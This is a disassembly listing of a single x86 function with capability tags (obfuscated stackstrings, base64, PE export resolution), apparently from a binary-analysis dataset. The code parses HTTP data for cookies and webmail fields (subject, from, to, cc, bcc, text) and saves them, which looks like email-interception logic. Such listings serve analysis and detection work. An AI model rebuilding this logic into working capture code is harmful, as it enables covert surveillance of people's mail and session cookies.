Function at 0x133f5e40
Capabilities:
Contain obfuscated stackstrings
Encode data using base64
Resolve function by parsing pe exports

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x134c4bc8
push eax
mov dword fs:[0], esp
sub esp, 0xa0
push ebx
push ebp
push esi
mov esi, dword [esp + 0xcc]
test esi, esi
push edi
je 0x133f5e70
mov dword [esi], 0
mov ebx, dword [esp + 0xc0]
mov ebp, dword [esp + 0xc4]
test ebx, ebx
mov dword [esp + 0x90], ebx
mov dword [esp + 0x48], ebp
je 0x133f76c5
test ebp, ebp
je 0x133f76c5
mov eax, dword [0x13511b00]
test eax, eax
je 0x133f5ebb
push 0x134f46c8
push str.MailLog
push 0xffffffffffffffff
push 0x13511a94
call fcn.13426d30
add esp, 0x10
mov edi, str.Cookie:
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str.Cookie:
push ebp
push ebx
call fcn.133bc480
add esp, 0x10
cmp eax, 0xffffffff
jne 0x133f5eff
mov eax, dword [esp + 0xcc]
mov ecx, dword [esp + 0xc8]
push esi
push eax
push ecx
push ebp
push ebx
call fcn.133c2610
add esp, 0x14
jmp 0x133f76c5
mov edi, 0x134f094c
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x134f094c
push ebp
push ebx
call fcn.133bc480
add esp, 0x10
cmp eax, 0xffffffff
mov dword [esp + 0x10], eax
je 0x133f76c5
mov edi, 0x134f094c
or ecx, 0xffffffff
xor eax, eax
mov esi, dword [esp + 0x10]
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edx, ecx
add edx, esi
xor esi, esi
add edx, ebx
cmp byte [edx], 0xd
je 0x133f5f79
mov ecx, dword [esp + 0x10]
mov eax, ebp
sub eax, ecx
mov dword [esp + 0x14], eax
mov edi, 0x134f094c
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x14]
not ecx
dec ecx
sub eax, ecx
cmp esi, eax
jge 0x133f5f79
mov al, byte [esi + edx + 1]
inc esi
cmp al, 0xd
jne 0x133f5f57
mov edi, 0x134f094c
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov edi, dword [esp + 0x10]
mov eax, ebp
not ecx
dec ecx
sub eax, edi
sub eax, ecx
cmp esi, eax
jge 0x133f76c5
test esi, esi
jle 0x133f76c5
mov edi, 0x134f46c4
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x134f46c4
push esi
push edx
call fcn.133bc480
mov eax, dword [0x134d0d90]
mov dword [esp + 0x48], eax
mov dword [esp + 0xc8], 0
mov dword [esp + 0x30], eax
mov byte [esp + 0xc8], 1
mov dword [esp + 0x3c], eax
mov byte [esp + 0xc8], 2
mov dword [esp + 0x4c], eax
mov byte [esp + 0xc8], 3
mov dword [esp + 0x44], eax
mov byte [esp + 0xc8], 4
mov dword [esp + 0x40], eax
mov byte [esp + 0xc8], 5
mov dword [esp + 0x38], eax
push 0x134f0944
push ebp
push ebx
mov byte [esp + 0xd4], 6
call fcn.133be650
mov edx, eax
add esp, 0x1c
cmp edx, 0xffffffff
je 0x133f764b
mov edi, 0x134f0944
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
add edx, ecx
sub ebp, edx
add ebx, edx
mov dword [esp + 0xc0], ebx
lea edi, [ebp + 1]
push edi
call fcn.1342ad5a
mov esi, eax
add esp, 4
test esi, esi
je 0x133f62be
mov ecx, edi
xor eax, eax
mov edx, ecx
mov edi, esi
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push ebp
and ecx, 3
rep stosb byte es:[edi], al
mov eax, ebx
push eax
push esi
call fcn.1342c840
mov ecx, dword [0x134d0d90]
add esp, 0xc
mov dword [esp + 0x10], ecx
push 0xfde9
push esi
lea ecx, [esp + 0x18]
mov byte [esp + 0xc0], 7
call fcn.134488f0
push esi
call fcn.13429bc8
add esp, 4
lea ecx, [esp + 0x4c]
call fcn.1349ece0
mov edx, dword [esp + 0x10]
mov bl, 8
push edx
lea ecx, [esp + 0x50]
mov byte [esp + 0xbc], bl
call fcn.1349fa40
lea eax, [esp + 0x4c]
push 0
lea ecx, [esp + 0x18]
push eax
push ecx
call fcn.133f5ad0
add esp, 0xc
push eax
lea ecx, [esp + 0x40]
mov byte [esp + 0xbc], 9
call fcn.13444620
lea ecx, [esp + 0x14]
mov byte [esp + 0xb8], bl
call fcn.13444490
lea edx, [esp + 0x4c]
push 0
lea eax, [esp + 0x18]
push edx
push eax
call fcn.133f5b30
add esp, 0xc
push eax
lea ecx, [esp + 0x38]
mov byte [esp + 0xbc], 0xa
call fcn.13444620
lea ecx, [esp + 0x14]
mov byte [esp + 0xb8], bl
call fcn.13444490
lea ecx, [esp + 0x4c]
push 0
lea edx, [esp + 0x18]
push ecx
push edx
call fcn.133f5b90
add esp, 0xc
push eax
lea ecx, [esp + 0x34]
mov byte [esp + 0xbc], 0xb
call fcn.13444620
lea ecx, [esp + 0x14]
mov byte [esp + 0xb8], bl
call fcn.13444490
push 0
lea eax, [esp + 0x50]
lea ecx, [esp + 0x18]
push eax
push ecx
call fcn.133f5a70
add esp, 0xc
push eax
lea ecx, [esp + 0x3c]
mov byte [esp + 0xbc], 0xc
call fcn.13444620
lea ecx, [esp + 0x14]
mov byte [esp + 0xb8], bl
call fcn.13444490
lea edx, [esp + 0x4c]
push 0
lea eax, [esp + 0x18]
push edx
push eax
call fcn.133f5d20
add esp, 0xc
push eax
lea ecx, [esp + 0x24]
mov byte [esp + 0xbc], 0xd
call fcn.13444620
lea ecx, [esp + 0x14]
mov byte [esp + 0xb8], bl
call fcn.13444490
lea ecx, [esp + 0x4c]
push 0
lea edx, [esp + 0x18]
push ecx
push edx
call fcn.133f5cc0
add esp, 0xc
push eax
lea ecx, [esp + 0x30]
mov byte [esp + 0xbc], 0xe
call fcn.13444620
lea ecx, [esp + 0x14]
mov byte [esp + 0xb8], bl
call fcn.13444490
mov eax, dword [esp + 0x20]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x133f625f
mov eax, dword [esp + 0x2c]
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x133f625f
lea ecx, [esp + 0x14]
push eax
push ecx
call fcn.133ba0a0
add esp, 8
lea edx, [esp + 0x14]
lea ecx, [esp + 0x20]
push edx
mov byte [esp + 0xbc], 0xf
call fcn.13444620
lea ecx, [esp + 0x14]
mov byte [esp + 0xb8], bl
call fcn.13444490
lea eax, [esp + 0x4c]
push 0
lea ecx, [esp + 0x18]
push eax
push ecx
call fcn.133f5d80
add esp, 0xc
push eax
lea ecx, [esp + 0x2c]
mov byte [esp + 0xbc], 0x10
call fcn.13444620
lea ecx, [esp + 0x14]
mov byte [esp + 0xb8], bl
call fcn.13444490
lea ecx, [esp + 0x4c]
mov byte [esp + 0xb8], 7
call fcn.1349ed70
lea ecx, [esp + 0x10]
mov byte [esp + 0xb8], 6
call fcn.13444490
mov ebx, dword [esp + 0xc0]
mov edx, dword [esp + 0x38]
xor esi, esi
cmp dword [edx - 8], esi
jne 0x133f71b3
mov eax, dword [esp + 0x3c]
cmp dword [eax - 8], esi
jne 0x133f71b3
mov ecx, dword [esp + 0x34]
cmp dword [ecx - 8], esi
jne 0x133f71b3
mov edx, dword [esp + 0x28]
cmp dword [edx - 8], esi
jne 0x133f71b3
mov eax, dword [esp + 0x20]
cmp dword [eax - 8], esi
jne 0x133f71b3
mov ecx, dword [esp + 0x30]
cmp dword [ecx - 8], esi
jne 0x133f71b3
mov edx, dword [esp + 0x2c]
cmp dword [edx - 8], esi
jne 0x133f71b3
mov ecx, 6
xor eax, eax
lea edi, [esp + 0x98]
mov dword [esp + 0x94], esi
rep stosd dword es:[edi], eax
push ebp
push ebx
lea ecx, [esp + 0x24]
mov dword [esp + 0x54], str._subject_:
mov dword [esp + 0x58], str._from_:
mov dword [esp + 0x5c], str._to_:
mov dword [esp + 0x60], str._cc_:
mov dword [esp + 0x64], str._bcc_:
mov dword [esp + 0x68], str._text_:
mov dword [esp + 0x6c], str._method_:
call fcn.1343ebc0
mov eax, dword [esp + 0x1c]
mov byte [esp + 0xb8], 0x12
cmp dword [eax - 8], esi
jne 0x133f6397
mov byte [esp + 0xb8], 6
lea ecx, [esp + 0x1c]
jmp 0x133f7646
mov ecx, dword [esp + esi + 0x4c]
push ecx
lea ecx, [esp + 0x20]
call fcn.13443950
mov dword [esp + esi + 0x94], eax
add esi, 4
cmp esi, 0x1c
jb 0x133f6397
mov esi, dword [esp + 0xac]
cmp esi, 0xffffffff
je 0x133f649e
mov edx, dword [0x134d0d8c]
mov dword [esp + 0x10], edx
mov bl, 0x14
push esi
push 0x134efff8
lea ecx, [esp + 0x24]
mov byte [esp + 0xc0], bl
call fcn.13424f40
mov edx, eax
cmp edx, 0xffffffff
je 0x133f6461
mov edi, str._method_:
or ecx, 0xffffffff
xor eax, eax
sub edx, esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, 0x134f0008
sub edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, 0x134f0008
sub edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
push edx
mov edx, ecx
mov edi, str._method_:
or ecx, 0xffffffff
add esi, edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0x18]
add ecx, esi
push ecx
push eax
lea ecx, [esp + 0x28]
call fcn.13441330
push eax
lea ecx, [esp + 0x14]
mov byte [esp + 0xbc], 0x15
call fcn.1343f290
lea ecx, [esp + 0x14]
mov byte [esp + 0xb8], bl
call fcn.1343f110
mov ecx, dword [esp + 0x10]
push str.SaveMessage
push ecx
call fcn.1342af54
add esp, 8
mov byte [esp + 0xb8], 0x12
test eax, eax
lea ecx, [esp + 0x10]
jne 0x133f6499
call fcn.1343f110
mov byte [esp + 0xb8], 6
lea ecx, [esp + 0x1c]
jmp 0x133f7646
call fcn.1343f110
mov esi, dword [esp + 0x94]
cmp esi, 0xffffffff
je 0x133f6643
mov edx, dword [0x134d0d8c]
mov dword [esp + 0x10], edx
mov bl, 0x17
push esi
push 0x134efff8
lea ecx, [esp + 0x24]
mov byte [esp + 0xc0], bl
call fcn.13424f40
mov edx, eax
cmp edx, 0xffffffff
je 0x133f654b
mov edi, str._subject_:
or ecx, 0xffffffff
xor eax, eax
sub edx, esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, 0x134f0008
sub edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, 0x134f0008
sub edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
push edx
mov edx, ecx
mov edi, str._subject_:
or ecx, 0xffffffff
add esi, edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0x18]
add ecx, esi
push ecx
push eax
lea ecx, [esp + 0x28]
call fcn.13441330
push eax
lea ecx, [esp + 0x14]
mov byte [esp + 0xbc], 0x18
call fcn.1343f290
lea ecx, [esp + 0x14]
mov byte [esp + 0xb8], bl
call fcn.1343f110
mov ecx, dword [esp + 0x10]
mov eax, dword [ecx - 8]
test eax, eax
je 0x133f6632
push ecx
lea edx, [esp + 0x14]
mov ecx, esp
mov dword [esp + 0x1c], esp
push edx
call fcn.1343e6e0
lea eax, [esp + 0x18]
mov byte [esp + 0xbc], bl
push eax
call fcn.133b9f40
add esp, 8
push eax
lea ecx, [esp + 0x14]
mov byte [esp + 0xbc], 0x1a
call fcn.1343f290
lea ecx, [esp + 0x14]
mov byte [esp + 0xb8], bl
call fcn.1343f110
mov eax, dword [esp + 0x10]
mov ecx, dword [eax - 8]
push ecx
push eax
call fcn.133b9a50
add esp, 8
test eax, eax
je 0x133f661f
mov eax, dword [esp + 0x10]
mov ecx, dword [eax - 8]
test ecx, ecx
jle 0x133f6632
push 1
push 0
push eax
call fcn.133b9b60
mov ebp, eax
lea edi, [ebp + ebp + 4]
push edi
call fcn.1342ad5a
mov esi, eax
add esp, 0x10
test esi, esi
je 0x133f6632
mov ecx, edi
xor eax, eax
mov edx, ecx
mov edi, esi
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push 2
and ecx, 3
push esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x18]
push eax
call fcn.133b9b60
add esp, 0xc
lea ecx, [esp + 0x28]
mov word [esi + ebp*2], 0
push esi
call fcn.13444710
push esi
call fcn.13429bc8
add esp, 4
jmp 0x133f6632
mov ecx, dword [esp + 0x10]
push 0xfde9
push ecx
lea ecx, [esp + 0x30]
call fcn.134488f0
lea ecx, [esp + 0x10]
mov byte [esp + 0xb8], 0x12
call fcn.1343f110
mov esi, dword [esp + 0x98]
cmp esi, 0xffffffff
je 0x133f6814
mov eax, dword [0x134d0d8c]
mov dword [esp + 0x10], eax
mov byte [esp + 0xb8], 0x1c
mov dword [esp + 0x24], eax
push esi
push 0x134f46a0
lea ecx, [esp + 0x24]
mov byte [esp + 0xc0], 0x1d
call fcn.13424f40
mov edx, eax
cmp edx, 0xffffffff
je 0x133f6726
mov edi, str._from_:
or ecx, 0xffffffff
xor eax, eax
sub edx, esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, 0x134f0008
sub edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, 0x134f0008
sub edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
push edx
mov edx, ecx
mov edi, str._from_:
or ecx, 0xffffffff
add esi, edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0x44]
add ecx, esi
push ecx
push eax
lea ecx, [esp + 0x28]
call fcn.13441330
mov bl, 0x1e
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0xbc], bl
call fcn.1343e6e0
lea ecx, [esp + 0x14]
mov byte [esp + 0xb8], 0x20
push ecx
lea ecx, [esp + 0x14]
call fcn.1343f290
lea ecx, [esp + 0x14]
mov byte [esp + 0xb8], bl
call fcn.1343f110
lea ecx, [esp + 0x40]
mov byte [esp + 0xb8], 0x1d
call fcn.1343f110
mov edx, dword [esp + 0x10]
mov eax, dword [edx - 8]
test eax, eax
je 0x133f67f2
push str._email_:
lea ecx, [esp + 0x14]
call fcn.13424f30
mov esi, eax
cmp esi, 0xffffffff
je 0x133f67f2
push esi
push 0x134efff8
lea ecx, [esp + 0x18]
call fcn.13424f40
mov edx, eax
sub edx, esi
test edx, edx
jle 0x133f67d8
mov edi, str._email_:
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, 0x134f0008
sub edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, str._email_:
sub edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
push edx
mov edx, ecx
mov edi, 0x134f0008
or ecx, 0xffffffff
add esi, edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0x44]
add ecx, esi
push ecx
push eax
lea ecx, [esp + 0x1c]
call fcn.13441330
push eax
lea ecx, [esp + 0x28]
mov byte [esp + 0xbc], 0x22
call fcn.1343f290
lea ecx, [esp + 0x40]
mov byte [esp + 0xb8], 0x1d
call fcn.1343f110
mov eax, dword [esp + 0x24]
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x133f67f2
push 0xfde9
push eax
lea ecx, [esp + 0x40]
call fcn.134488f0
lea ecx, [esp + 0x24]
mov byte [esp + 0xb8], 0x1c
call fcn.1343f110
lea ecx, [esp + 0x10]
mov byte [esp + 0xb8], 0x12
call fcn.1343f110
mov esi, dword [esp + 0x9c]
cmp esi, 0xffffffff
je 0x133f6a71
mov eax, dword [0x134d0d8c]
mov dword [esp + 0x10], eax
mov byte [esp + 0xb8], 0x25
mov dword [esp + 0x14], eax
push esi
push 0x134f1988
lea ecx, [esp + 0x24]
mov byte [esp + 0xc0], 0x26
call fcn.13424f40
mov edx, eax
cmp edx, 0xffffffff
je 0x133f68f7
mov edi, str._to_:
or ecx, 0xffffffff
xor eax, eax
sub edx, esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, 0x134f0008
sub edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, 0x134f0008
sub edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
push edx
mov edx, ecx
mov edi, str._to_:
or ecx, 0xffffffff
add esi, edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0x44]
add ecx, esi
push ecx
push eax
lea ecx, [esp + 0x28]
call fcn.13441330
mov bl, 0x27
push eax
lea ecx, [esp + 0x28]
mov byte [esp + 0xbc], bl
call fcn.1343e6e0
lea ecx, [esp + 0x24]
mov byte [esp + 0xb8], 0x29
push ecx
lea ecx, [esp + 0x14]
call fcn.1343f290
lea ecx, [esp + 0x24]
mov byte [esp + 0xb8], bl
call fcn.1343f110
lea ecx, [esp + 0x40]
mov byte [esp + 0xb8], 0x26
call fcn.1343f110
xor ebp, ebp
mov bl, 0x2c
test ebp, ebp
je 0x133f6910
mov edi, 0x134f4690
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
add ebp, ecx
mov edx, dword [esp + 0x10]
mov eax, dword [edx - 8]
test eax, eax
je 0x133f6a35
push ebp
push str._email_:
lea ecx, [esp + 0x18]
call fcn.13424f40
mov esi, eax
cmp esi, 0xffffffff
je 0x133f6a35
push esi
push 0x134efff8
lea ecx, [esp + 0x18]
call fcn.13424f40
mov edx, eax
sub edx, esi
test edx, edx
jle 0x133f69c3
mov edi, str._email_:
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, 0x134f0008
sub edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, str._email_:
sub edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
push edx
mov edx, ecx
mov edi, 0x134f0008
or ecx, 0xffffffff
add esi, edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0x44]
add ecx, esi
push ecx
push eax
lea ecx, [esp + 0x1c]
call fcn.13441330
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0xbc], 0x2b
call fcn.1343f290
lea ecx, [esp + 0x40]
mov byte [esp + 0xb8], 0x26
call fcn.1343f110
mov ecx, dword [0x134d0d90]
mov dword [esp + 0x24], ecx
mov eax, dword [esp + 0x14]
mov byte [esp + 0xb8], bl
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x133f69ee
push 0xfde9
push eax
lea ecx, [esp + 0x2c]
call fcn.134488f0
lea edx, [esp + 0x24]
push 0x134ef390
lea eax, [esp + 0x1c]
push edx
push eax
call fcn.13444c00
push eax
lea ecx, [esp + 0x40]
mov byte [esp + 0xbc], 0x2d
call fcn.13445140
lea ecx, [esp + 0x18]
mov byte [esp + 0xb8], bl
call fcn.13444490
lea ecx, [esp + 0x24]
mov byte [esp + 0xb8], 0x26
call fcn.13444490
push ebp
push 0x134f4690
lea ecx, [esp + 0x18]
call fcn.13424f40
mov ebp, eax
cmp ebp, 0xffffffff
jne 0x133f68fb
lea ecx, [esp + 0x14]
mov byte [esp + 0xb8], 0x25
call fcn.1343f110
lea ecx, [esp + 0x10]
mov byte [esp + 0xb8], 0x12
call fcn.1343f110
mov esi, dword [esp + 0xa0]
cmp esi, 0xffffffff
je 0x133f6cce
mov eax, dword [0x134d0d8c]
mov dword [esp + 0x10], eax
mov byte [esp + 0xb8], 0x30
mov dword [esp + 0x24], eax
push esi
push 0x134f1988
lea ecx, [esp + 0x24]
mov byte [esp + 0xc0], 0x31
call fcn.13424f40
mov edx, eax
cmp edx, 0xffffffff
je 0x133f6b54
mov edi, str._cc_:
or ecx, 0xffffffff
xor eax, eax
sub edx, esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, 0x134f0008
sub edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, 0x134f0008
sub edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
push edx
mov edx, ecx
mov edi, str._cc_:
or ecx, 0xffffffff
add esi, edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0x1c]
add ecx, esi
push ecx
push eax
lea ecx, [esp + 0x28]
call fcn.13441330
mov bl, 0x32
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0xbc], bl
call fcn.1343e6e0
lea ecx, [esp + 0x14]
mov byte [esp + 0xb8], 0x34
push ecx
lea ecx, [esp + 0x14]
call fcn.1343f290
lea ecx, [esp + 0x14]
mov byte [esp + 0xb8], bl
call fcn.1343f110
lea ecx, [esp + 0x18]
mov byte [esp + 0xb8], 0x31
call fcn.1343f110
xor ebp, ebp
mov bl, 0x37
test ebp, ebp
je 0x133f6b6d
mov edi, 0x134f4690
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
add ebp, ecx
mov edx, dword [esp + 0x10]
mov eax, dword [edx - 8]
test eax, eax
je 0x133f6c92
push ebp
push str._email_:
lea ecx, [esp + 0x18]
call fcn.13424f40
mov esi, eax
cmp esi, 0xffffffff
je 0x133f6c92
push esi
push 0x134efff8
lea ecx, [esp + 0x18]
call fcn.13424f40
mov edx, eax
sub edx, esi
test edx, edx
jle 0x133f6c20
mov edi, str._email_:
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, 0x134f0008
sub edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, str._email_:
sub edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
push edx
mov edx, ecx
mov edi, 0x134f0008
or ecx, 0xffffffff
add esi, edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0x1c]
add ecx, esi
push ecx
push eax
lea ecx, [esp + 0x1c]
call fcn.13441330
push eax
lea ecx, [esp + 0x28]
mov byte [esp + 0xbc], 0x36
call fcn.1343f290
lea ecx, [esp + 0x18]
mov byte [esp + 0xb8], 0x31
call fcn.1343f110
mov ecx, dword [0x134d0d90]
mov dword [esp + 0x14], ecx
mov eax, dword [esp + 0x24]
mov byte [esp + 0xb8], bl
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x133f6c4b
push 0xfde9
push eax
lea ecx, [esp + 0x1c]
call fcn.134488f0
lea edx, [esp + 0x14]
push 0x134ef390
lea eax, [esp + 0x44]
push edx
push eax
call fcn.13444c00
push eax
lea ecx, [esp + 0x38]
mov byte [esp + 0xbc], 0x38
call fcn.13445140
lea ecx, [esp + 0x40]
mov byte [esp + 0xb8], bl
call fcn.13444490
lea ecx, [esp + 0x14]
mov byte [esp + 0xb8], 0x31
call fcn.13444490
push ebp
push 0x134f4690
lea ecx, [esp + 0x18]
call fcn.13424f40
mov ebp, eax
cmp ebp, 0xffffffff
jne 0x133f6b58
lea ecx, [esp + 0x24]
mov byte [esp + 0xb8], 0x30
call fcn.1343f110
lea ecx, [esp + 0x10]
mov byte [esp + 0xb8], 0x12
call fcn.1343f110
mov esi, dword [esp + 0xa4]
cmp esi, 0xffffffff
je 0x133f6f2b
mov eax, dword [0x134d0d8c]
mov dword [esp + 0x10], eax
mov byte [esp + 0xb8], 0x3b
mov dword [esp + 0x24], eax
push esi
push 0x134f1988
lea ecx, [esp + 0x24]
mov byte [esp + 0xc0], 0x3c
call fcn.13424f40
mov edx, eax
cmp edx, 0xffffffff
je 0x133f6db1
mov edi, str._bcc_:
or ecx, 0xffffffff
xor eax, eax
sub edx, esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, 0x134f0008
sub edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, 0x134f0008
sub edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
push edx
mov edx, ecx
mov edi, str._bcc_:
or ecx, 0xffffffff
add esi, edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0x1c]
add ecx, esi
push ecx
push eax
lea ecx, [esp + 0x28]
call fcn.13441330
mov bl, 0x3d
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0xbc], bl
call fcn.1343e6e0
lea ecx, [esp + 0x14]
mov byte [esp + 0xb8], 0x3f
push ecx
lea ecx, [esp + 0x14]
call fcn.1343f290
lea ecx, [esp + 0x14]
mov byte [esp + 0xb8], bl
call fcn.1343f110
lea ecx, [esp + 0x18]
mov byte [esp + 0xb8], 0x3c
call fcn.1343f110
xor ebp, ebp
mov bl, 0x42
test ebp, ebp
je 0x133f6dca
mov edi, 0x134f4690
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
add ebp, ecx
mov edx, dword [esp + 0x10]
mov eax, dword [edx - 8]
test eax, eax
je 0x133f6eef
push ebp
push str._email_:
lea ecx, [esp + 0x18]
call fcn.13424f40
mov esi, eax
cmp esi, 0xffffffff
je 0x133f6eef
push esi
push 0x134efff8
lea ecx, [esp + 0x18]
call fcn.13424f40
mov edx, eax
sub edx, esi
test edx, edx
jle 0x133f6e7d
mov edi, str._email_:
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, 0x134f0008
sub edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, str._email_:
sub edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
push edx
mov edx, ecx
mov edi, 0x134f0008
or ecx, 0xffffffff
add esi, edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0x1c]
add ecx, esi
push ecx
push eax
lea ecx, [esp + 0x1c]
call fcn.13441330
push eax
lea ecx, [esp + 0x28]
mov byte [esp + 0xbc], 0x41
call fcn.1343f290
lea ecx, [esp + 0x18]
mov byte [esp + 0xb8], 0x3c
call fcn.1343f110
mov ecx, dword [0x134d0d90]
mov dword [esp + 0x14], ecx
mov eax, dword [esp + 0x24]
mov byte [esp + 0xb8], bl
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x133f6ea8
push 0xfde9
push eax
lea ecx, [esp + 0x1c]
call fcn.134488f0
lea edx, [esp + 0x14]
push 0x134ef390
lea eax, [esp + 0x44]
push edx
push eax
call fcn.13444c00
push eax
lea ecx, [esp + 0x34]
mov byte [esp + 0xbc], 0x43
call fcn.13445140
lea ecx, [esp + 0x40]
mov byte [esp + 0xb8], bl
call fcn.13444490
lea ecx, [esp + 0x14]
mov byte [esp + 0xb8], 0x3c
call fcn.13444490
push ebp
push 0x134f4690
lea ecx, [esp + 0x18]
call fcn.13424f40
mov ebp, eax
cmp ebp, 0xffffffff
jne 0x133f6db5
lea ecx, [esp + 0x24]
mov byte [esp + 0xb8], 0x3b
call fcn.1343f110
lea ecx, [esp + 0x10]
mov byte [esp + 0xb8], 0x12
call fcn.1343f110
mov esi, dword [esp + 0xa8]
cmp esi, 0xffffffff
je 0x133f70ff
mov ecx, dword [0x134d0d8c]
mov dword [esp + 0x10], ecx
mov bl, 0x45
push esi
push 0x134efff8
lea ecx, [esp + 0x24]
mov byte [esp + 0xc0], bl
call fcn.13424f40
mov edx, eax
cmp edx, 0xffffffff
je 0x133f6fb6
mov edi, str._text_:
or ecx, 0xffffffff
xor eax, eax
sub edx, esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, str._text_:
sub edx, ecx
or ecx, 0xffffffff
inc edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
push edx
add ecx, esi
lea edx, [esp + 0x1c]
push ecx
push edx
lea ecx, [esp + 0x28]
call fcn.13441330
push eax
lea ecx, [esp + 0x14]
mov byte [esp + 0xbc], 0x46
call fcn.1343f290
mov byte [esp + 0xb8], bl
lea ecx, [esp + 0x18]
jmp 0x133f7018
push 0x22
lea ecx, [esp + 0x20]
call fcn.13424f00
mov edx, eax
cmp edx, 0xffffffff
je 0x133f701d
mov edi, str._text_:
or ecx, 0xffffffff
xor eax, eax
sub edx, esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, str._text_:
sub edx, ecx
or ecx, 0xffffffff
inc edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
push edx
add ecx, esi
lea eax, [esp + 0x1c]
push ecx
push eax
lea ecx, [esp + 0x28]
call fcn.13441330
push eax
lea ecx, [esp + 0x14]
mov byte [esp + 0xbc], 0x47
call fcn.1343f290
mov byte [esp + 0xb8], bl
lea ecx, [esp + 0x18]
call fcn.1343f110
mov ecx, dword [esp + 0x10]
mov eax, dword [ecx - 8]
test eax, eax
je 0x133f70ee
push ecx
lea edx, [esp + 0x14]
mov ecx, esp
mov dword [esp + 0x44], esp
push edx
call fcn.1343e6e0
lea eax, [esp + 0x1c]
mov byte [esp + 0xbc], bl
push eax
call fcn.133b9f40
add esp, 8
push eax
lea ecx, [esp + 0x14]
mov byte [esp + 0xbc], 0x49
call fcn.1343f290
lea ecx, [esp + 0x18]
mov byte [esp + 0xb8], bl
call fcn.1343f110
push ecx
lea edx, [esp + 0x14]
mov ecx, esp
mov dword [esp + 0x44], esp
push edx
call fcn.1343e6e0
